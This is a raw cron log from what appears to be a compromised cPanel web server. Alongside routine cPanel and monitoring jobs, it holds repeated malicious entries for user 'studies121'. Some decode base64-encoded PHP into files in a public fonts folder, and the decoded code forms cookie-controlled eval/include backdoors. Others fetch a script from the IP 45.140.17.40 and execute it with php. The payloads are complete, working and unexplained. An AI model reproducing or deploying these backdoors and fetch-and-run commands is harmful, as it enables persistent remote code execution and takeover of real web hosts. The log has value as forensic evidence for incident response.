Feb 22 04:25:02 ip-184-168-122-23 CROND[882]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:25:02 ip-184-168-122-23 CROND[883]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 04:25:02 ip-184-168-122-23 CROND[881]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 04:26:01 ip-184-168-122-23 CROND[1213]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:26:01 ip-184-168-122-23 CROND[1217]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:26:01 ip-184-168-122-23 CROND[1219]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:26:01 ip-184-168-122-23 CROND[1221]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:26:01 ip-184-168-122-23 CROND[1222]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:27:01 ip-184-168-122-23 CROND[1526]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:27:01 ip-184-168-122-23 CROND[1528]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:27:01 ip-184-168-122-23 CROND[1529]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:27:01 ip-184-168-122-23 CROND[1530]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:28:01 ip-184-168-122-23 CROND[2002]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:28:01 ip-184-168-122-23 CROND[2003]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:28:01 ip-184-168-122-23 CROND[2006]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:28:01 ip-184-168-122-23 CROND[2004]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:28:01 ip-184-168-122-23 CROND[2005]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:29:01 ip-184-168-122-23 CROND[2344]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:29:01 ip-184-168-122-23 CROND[2345]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:29:01 ip-184-168-122-23 CROND[2346]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:29:01 ip-184-168-122-23 CROND[2347]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:30:01 ip-184-168-122-23 CROND[2692]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Feb 22 04:30:01 ip-184-168-122-23 CROND[2696]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 04:30:01 ip-184-168-122-23 CROND[2698]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:30:01 ip-184-168-122-23 CROND[2699]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:30:01 ip-184-168-122-23 CROND[2704]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 04:30:01 ip-184-168-122-23 CROND[2703]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/scripts/update_db_cache && /usr/local/cpanel/scripts/update_db_cache)
Feb 22 04:30:01 ip-184-168-122-23 CROND[2706]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:30:01 ip-184-168-122-23 CROND[2700]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:30:01 ip-184-168-122-23 CROND[2705]: (mailman) CMD (/usr/local/cpanel/scripts/restartsrv_mailman --status &> /dev/null && /usr/local/cpanel/3rdparty/bin/python2 -S /usr/local/cpanel/3rdparty/mailman/cron/cull_bad_shunt)
Feb 22 04:30:01 ip-184-168-122-23 CROND[2710]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:31:01 ip-184-168-122-23 CROND[3074]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:31:01 ip-184-168-122-23 CROND[3076]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:31:01 ip-184-168-122-23 CROND[3080]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:31:01 ip-184-168-122-23 CROND[3081]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Feb 22 04:31:01 ip-184-168-122-23 CROND[3079]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:32:01 ip-184-168-122-23 CROND[3445]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:32:01 ip-184-168-122-23 CROND[3450]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:32:01 ip-184-168-122-23 CROND[3448]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:32:01 ip-184-168-122-23 CROND[3449]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:32:01 ip-184-168-122-23 CROND[3446]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:33:01 ip-184-168-122-23 CROND[3823]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:33:01 ip-184-168-122-23 CROND[3824]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:33:01 ip-184-168-122-23 CROND[3822]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:33:01 ip-184-168-122-23 CROND[3825]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:34:01 ip-184-168-122-23 CROND[4162]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:34:01 ip-184-168-122-23 CROND[4164]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:34:01 ip-184-168-122-23 CROND[4168]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:34:01 ip-184-168-122-23 CROND[4166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:34:01 ip-184-168-122-23 CROND[4167]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:35:01 ip-184-168-122-23 CROND[4579]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:35:01 ip-184-168-122-23 CROND[4580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:35:01 ip-184-168-122-23 CROND[4586]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:35:01 ip-184-168-122-23 CROND[4587]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Feb 22 04:35:01 ip-184-168-122-23 CROND[4583]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Feb 22 04:35:01 ip-184-168-122-23 CROND[4584]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Feb 22 04:35:01 ip-184-168-122-23 CROND[4589]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Feb 22 04:35:01 ip-184-168-122-23 CROND[4588]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:36:01 ip-184-168-122-23 CROND[4928]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:36:01 ip-184-168-122-23 CROND[4933]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Feb 22 04:36:01 ip-184-168-122-23 CROND[4931]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Feb 22 04:36:01 ip-184-168-122-23 CROND[4932]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Feb 22 04:36:01 ip-184-168-122-23 CROND[4930]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Feb 22 04:37:01 ip-184-168-122-23 CROND[5275]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Feb 22 04:37:01 ip-184-168-122-23 CROND[5277]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
